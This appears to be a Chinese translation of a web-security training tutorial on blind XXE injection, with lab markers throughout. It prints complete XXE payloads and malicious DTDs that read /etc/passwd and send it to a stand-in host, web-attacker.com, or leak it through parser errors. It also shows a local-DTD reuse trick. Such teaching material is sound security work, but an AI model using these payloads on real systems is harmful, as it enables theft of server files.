发现并利用盲XXE漏洞

在这一节,我们将讲解什么是盲XXE注入,并描述发现和利用盲XXE漏洞的各种技术。

什么是盲XXE?

盲XXE漏洞是指应用程序容易受到XXE注入的攻击,但在其响应中不返回任何已定义的外部实体的值。这意味着无法直接检索服务器端文件,因此盲XXE通常比普通的XXE漏洞更难以利用。

有两种主要途径可以发现和利用盲XXE漏洞:

  • 你可以触发带外网络交互,有时会在交互数据中泄露敏感数据。

  • 你可以以某种方式触发XML解析错误,以便错误信息包含敏感数据。

使用带外技术检测盲XXE

通常可以使用与XXE SSRF攻击相同的技术来检测盲XXE,但要触发到你控制的系统的带外网络交互。例如,你可以定义一个外部实体,如下所示:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>

然后,你就可以在XML的数据值中使用已定义的实体。

这种XXE攻击会导致服务器向指定URL发起后端HTTP请求。攻击者可以监视由此产生的DNS查询和HTTP请求,从而检测到XXE攻击是否成功。

LAB

带外交互的盲XXE

有时,由于应用程序的某些输入验证或正在使用的XML解析器的某些加固,使用常规实体的XXE攻击会被阻止。在这种情况下,你也许可以改用XML参数实体。XML参数实体是一种特殊类型的XML实体,只能在DTD内部的其他位置引用。就目前而言,你只需要了解两件事情。首先,XML参数实体的声明包括实体名称前的百分号字符:

<!ENTITY % myparameterentity "my parameter entity value" >

其次,参数实体的引用使用百分号字符,而不是通常的和号(&):

%myparameterentity;

这意味着你可以通过XML参数实体使用带外检测来测试盲XXE,如下所示:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

这个XXE有效载荷声明了一个名为xxe的XML参数实体,然后在DTD中使用该实体。这将导致向攻击者域发起DNS查询和HTTP请求,以验证攻击是否成功。

LAB

通过XML参数实体进行带外交互的盲XXE

利用盲XXE带外渗出数据

通过带外技术检测盲XXE漏洞固然很好,但它实际上并未展示如何能够利用这种漏洞。攻击者真正想要实现的是外泄敏感数据。这可以通过盲XXE漏洞实现,但需要攻击者在他们控制的系统上托管一个恶意的DTD,并在带内XXE有效载荷中调用外部DTD。

一个用于外泄/etc/passwd文件内容的恶意DTD示例如下所示:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

这个DTD执行以下步骤:

  • 定义一个名为file的XML参数实体,其中包含/etc/passwd文件的内容。

  • 定义一个名为eval的XML参数实体,其中包含另一个名为exfiltrate的XML参数实体的动态声明。exfiltrate实体将通过向攻击者的Web服务器发起HTTP请求进行评估,该请求在URL查询字符串中包含file实体的值。

  • 使用eval实体,这导致exfiltrate实体的动态声明被执行。

  • 使用exfiltrate实体,以便通过请求指定的URL来评估其值。

然后,攻击者必须在他们控制的系统上托管恶意DTD,通常是将其加载到他们自己的Web服务器上。例如,攻击者可能在以下URL上提供恶意DTD:

http://web-attacker.com/malicious.dtd

最后,攻击者必须向存在漏洞的应用程序提交以下XXE有效载荷:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>

此XXE有效载荷声明了一个名为xxe的XML参数实体,随后在DTD中使用该实体。这将导致XML解析器从攻击者的服务器获取外部DTD并对其进行内联解释。然后,恶意DTD中定义的步骤将被执行,/etc/passwd文件将被传输到攻击者的服务器。

注意

这种技术可能无法处理某些文件内容,包括/etc/passwd文件中包含的换行符。这是因为一些XML解析器会使用API获取外部实体定义中的URL,该API会验证URL中允许出现的字符。在这种情况下,可以使用FTP协议而非HTTP。有时,可能无法外泄包含换行符的数据,因此可以选择/etc/hostname文件作为目标。

LAB

使用恶意外部DTD利用盲XXE外泄数据

利用盲XXE通过错误信息检索数据

利用盲XXE的另一种方法是触发一个XML解析错误,其中的错误信息包含你希望检索的敏感数据。如果应用程序在其响应中返回相关的错误信息,那么这种方法就会有效。

你可以使用以下恶意外部DTD触发一个包含/etc/passwd文件内容的XML解析错误信息:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

此DTD执行以下步骤:

  • 定义一个名为file的XML参数实体,其中包含/etc/passwd文件的内容。

  • 定义一个名为eval的XML参数实体,其中包含另一个名为error的XML参数实体的动态声明。error实体将通过加载一个不存在的文件进行评估,该文件的名称包含file实体的值。

  • 使用eval实体,这导致error实体的动态声明被执行。

  • 使用error实体,以便在尝试加载不存在的文件时评估其值,从而产生一个包含不存在文件名的错误信息,该文件名就是/etc/passwd文件的内容。

调用恶意的外部DTD将会导致类似如下的错误信息:

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

LAB

利用盲XXE通过错误信息检索数据

通过重新利用本地DTD来利用盲XXE

前述技术对于外部DTD是可以正常工作的,但对于在DOCTYPE元素中完全指定的内部DTD通常是不起作用的。这是因为该技术涉及在另一个参数实体的定义中使用XML参数实体。根据XML规范,这在外部DTD中是允许的,但在内部DTD中不允许(有些解析器可能会允许,但大多都不会)。

那么,当带外交互被阻止时,盲XXE漏洞怎么办?你无法通过带外连接外泄数据,也无法从远程服务器加载外部DTD。

在这种情况下,由于XML语言规范中的一个漏洞,仍有可能触发包含敏感数据的错误信息。如果文档的DTD使用内部和外部DTD声明的混合,那么内部DTD可以重新定义外部DTD中声明的实体。当这种情况发生时,在另一个参数实体的定义中使用XML参数实体的限制就会被放宽。

这意味着,攻击者可以在内部DTD中使用基于错误的XXE技术,前提是他们使用的XML参数实体是重新定义外部DTD中声明的实体。当然,如果带外连接被阻止,那么就不能从远程位置加载外部DTD。相反,它需要的是应用服务器本地的外部DTD文件。本质上,这种攻击涉及到调用一个恰好存在于本地文件系统上的DTD文件,并将其重新用于以某种方式重新定义一个现有实体,从而触发一个包含敏感数据的解析错误。这种技术由Arseniy Sharoglazov首创,排在我们2018年十大Web黑客技术的第7位。

例如,假设服务器文件系统上的/usr/local/app/schema.dtd位置有一个DTD文件,并且这个DTD文件定义了一个名为custom_entity的实体。攻击者可以提交类似以下的一个混合DTD,从而触发一个包含/etc/passwd文件内容的XML解析错误信息:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

该DTD执行以下步骤:

  • 定义一个名为local_dtd的XML参数实体,其中包含存在于服务器文件系统上的外部DTD文件的内容。

  • 重新定义一个名为custom_entity的XML参数实体,该实体已在外部DTD文件中定义。这个实体被重新定义为包含已描述过的基于错误的XXE漏洞利用,用于触发包含/etc/passwd文件内容的错误信息。

  • 使用local_dtd实体,以便解释外部DTD,包括重新定义的custom_entity实体的值。这样就会出现所需的错误信息。

定位一个现有DTD文件以重新利用

由于这种XXE攻击涉及到重新利用服务器文件系统上的现有DTD,因此关键需求是找到一个合适的文件。这其实很简单。因为应用程序会返回由XML解析器抛出的任何错误信息,只需从内部DTD中加载本地DTD文件,你就能够轻松地枚举出这些文件。

例如,使用GNOME桌面环境的Linux系统通常会在/usr/share/yelp/dtd/docbookx.dtd处有一个DTD文件。你可以通过提交以下XXE有效载荷来测试该文件是否存在,如果该文件丢失,将会引发一个错误:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

在测试了一系列常见的DTD文件,找到一个存在的文件之后,你就需要获取该文件的副本并进行检查,以找到一个可以重新定义的实体。由于许多包含DTD文件的常见系统都是开源的,通常可以通过互联网搜索快速获取文件的副本。

LAB

通过重新利用本地DTD来利用XXE获取数据

Last updated